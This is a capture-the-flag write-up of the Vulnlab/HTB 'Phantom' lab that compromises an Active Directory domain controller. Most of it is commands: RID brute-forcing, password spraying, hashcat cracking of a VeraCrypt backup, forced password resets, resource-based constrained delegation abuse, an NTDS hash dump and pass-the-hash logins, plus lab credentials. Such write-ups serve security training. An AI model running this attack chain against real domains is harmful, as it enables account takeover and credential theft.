Phantom - Writeup (Vulnlab & HTB)

shkzshkz
5 min read

INFO: Ports and Services

53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
5357/tcp open  wsdapi
5985/tcp open  wsman

My initial recon made it clear.. i was dealing with a Windows Active Directory environment. Classic AD ports were open.


FOOTHOLD

I used a RID brute force attack over SMB to dump valid domain accounts. This technique allowed me to enumerate user accounts by exploiting the predictable nature of RID sequences.

nxc smb phantom.vl -u 'shkz' -p '' --rid-brute

I got back a huge list of users, perfect for spraying later.

SMB Guest Access

While poking around SMB shares as guest, I got a PDF encoded in base64 inside Public folder.

smbclient.py DC.phantom.vl/'guest'@10.129.229.112

echo "<snipped>...IDI1IDAgUgovSW5mbyAyNiAwIFIKL0lEIFsgPEM0QUQ2NUU5NEZCOTk3OTYx
MTU1Q0FGRkQ2QUMyQjUzPgo8QzRBRDY1RTk0RkI5OTc5NjExNTVDQUZGRDZBQzJCNTM+IF0KL0Rv
Y0NoZWNrc3VtIC8wQTM4N0RBQjYxNTBCMkRCMTg0MzJGMDJENzY2MDQxMwo+PgpzdGFydHhyZWYK
OTQxNAolJUVPRgo=" |base64 -d > out.pdf

Upon decoding the PDF, I found hardcoded credentials inside the file. This discovery was crucial for the next step, which involved a password spraying attack using the user list I had previously obtained.

nxc smb 10.129.229.112 -u users.txt  -p 'Ph4nt0m@5t4rt!' --continue-on-success --no-bruteforce

We’ve got valid creds for user ibryant, the first thing I usually do is feed the data into BloodHound to get some context on the user we’re dealing with and where we stand. That way I can see where we might move laterally and get a general map of the AD.

bloodhound-python -u 'ibryant' -p 'Ph4nt0m@5t4rt!' -ns 10.129.229.112 -d 'phantom.vl' -c all --dns-tcp --zip

Meanwhile, I continued exploring the user’s shared resources over SMB, looking for additional information or files that could aid in further exploitation.

nxc smb 10.129.229.112 -u ibryant -p 'Ph4nt0m@5t4rt!' --shares

SMB - ibryant

I connect to the shared resource called Departments Share via SMB:

As a summary of all the folders, here’s what we’ve got:

VeraCrypt Backup File

I navigated through the SMB share into the IT\Backup folder. Once inside, I listed the contents and found a file called IT_BACKUP_201123.hc. Judging by the extension, it’s most likely a VeraCrypt/TrueCrypt container.

The info given at the start as a hint about the machine says the following:

Taking that hint as a base, I put together a basic python script that basically looks like this:

#!/usr/bin/env python3

import itertools

company = "Phantom"
years = ["2024", "2023", "2022", "2021", "2020"]
specials = ["!", "@", "#", "$", "%"]

mutations = [
    company.lower(),
    company.upper(),
    company.capitalize(),
]

with open("wordlist.txt", "w") as f:
    for base in mutations:
        # word
        f.write(base + "\n")

        # years
        for y in years:
            f.write(base + y + "\n")

            # year + special
            for s in specials:
                f.write(base + y + s + "\n")

        # special
        for s in specials:
            f.write(base + s + "\n"

— wordlist.txt

Finally, I ran hashcat with this custom wordlist against the backup file and managed to crack it, obtaining valid credentials.

hashcat IT_BACKUP_201123.hc wordlist.txt -m 13721

Mounting Veracrypt Volume

Next step is mounting the volume we’ve got. You can install VeraCrypt with a GUI depending on your Linux distro, or just do it on Windows. In my case, running Arch, I fire it up, select the .hc file, and punch in the password we cracked.

Once the disk is mapped, I mount it under /mnt/ctf.

sudo mount /dev/mapper/veracrypt1 /mnt/ctf

After digging through all the files and unpacking the .tar.gz and .zip archives, I run a recursive grep for keywords like “password” and boom!, I find some creds. I instantly throw them into a password spraying attack and land a valid access:

USER.txt

With that password, I run a spraying attack against the user list to see if we can score a new access.. and yes!, we get fresh creds for the svc_sspr account.

Checking in BloodHound, I saw the account is part of the Remote Management Users group, so I attempted to connect.

evil-winrm -i 10.129.229.112 -u SVC_SSPR -p 'gB6XTcqVP5MlP7Rc'

Finally, we grab the user.txt flag.

Root Path

Our user has rights to force a password change on three accounts:

  • wsilva

  • rnichols

  • crose

So basically: these users are part of the ICT Security group, and that group has the AddAllowedToAct privilege on the DC. That means we can mess with the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to add our own machine account, opening the door to abuse via RBCD.

Changing CROSE password

As mentioned, we have the ForceChangePassword privilege, and I chose Crose to reset their password.

bloodyAD --host DC.phantom.vl -d phantom.vl -u 'SVC_SSPR' -p 'gB6XTcqVP5MlP7Rc' set password CROSE 'Pepe1234#'

Abusing Resource-Based Constrained Delegation

RBCD allows us to escalate by editing the msDS-AllowedToActOnBehalfOfOtherIdentity attribute so another account can impersonate users via Kerberos S4U. Normally, you need a computer account, but if the domain blocks new machines (in this case 0 quota), you can exploit password/NT hash tricks to align with the TGT session key and still pull it off.

REFERENCES:

STEP - 1

With rbcd.py, I passed a machine account using -delegate-to, and for the user, I handed over CROSE.

rbcd.py -delegate-to "DC$" -delegate-from "CROSE" -dc-ip 10.129.229.112 -action write "DC.phantom.vl/CROSE:Pepe1234#"

STEP - 2

I grabbed a TGT through an overpass-the-hash attack and extracted the TGT session key using describeTicket.py.

getTGT.py -hashes :$(pypykatz crypto nt 'Pepe1234#') 'phantom.vl'/'CROSE'

describeTicket.py CROSE.ccache | grep 'Ticket Session Key'

Then, I swapped it out with the domain user’s NT hash.

changepasswd.py -newhashes :b8c034f9036d97f34ef2ef18e9e75fc9 'phantom.vl'/'CROSE':'Pepe1234#'@'DC.phantom.vl'

STEP - 3

Using S4U2Self together with u2u, the CROSE account can request a service ticket for itself while impersonating the Administrator. From there, we pivot into S4U2Proxy to request a service ticket for the target machine that the user has delegation rights over.

export KRB5CCNAME=CROSE.ccache
getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/DC.phantom.vl" 'phantom.vl'/'CROSE'

STEP - 4

Finally, I dumped the hash with netexec and achieved root access.

export KRB5CCNAME=Administrator@cifs_DC.phantom.vl@PHANTOM.VL.ccache
nxc smb dc.phantom.vl --use-kcache --ntds --user Administrator

evil-winrm -i 10.129.229.112 -u Administrator -H 'aa2abd9db4f5984e657f834484512117'

PWNED!

0
Subscribe to my newsletter

Read articles from shkz directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

shkz
shkz

I am shkz, a Security Researcher, Red Team and CTF Player.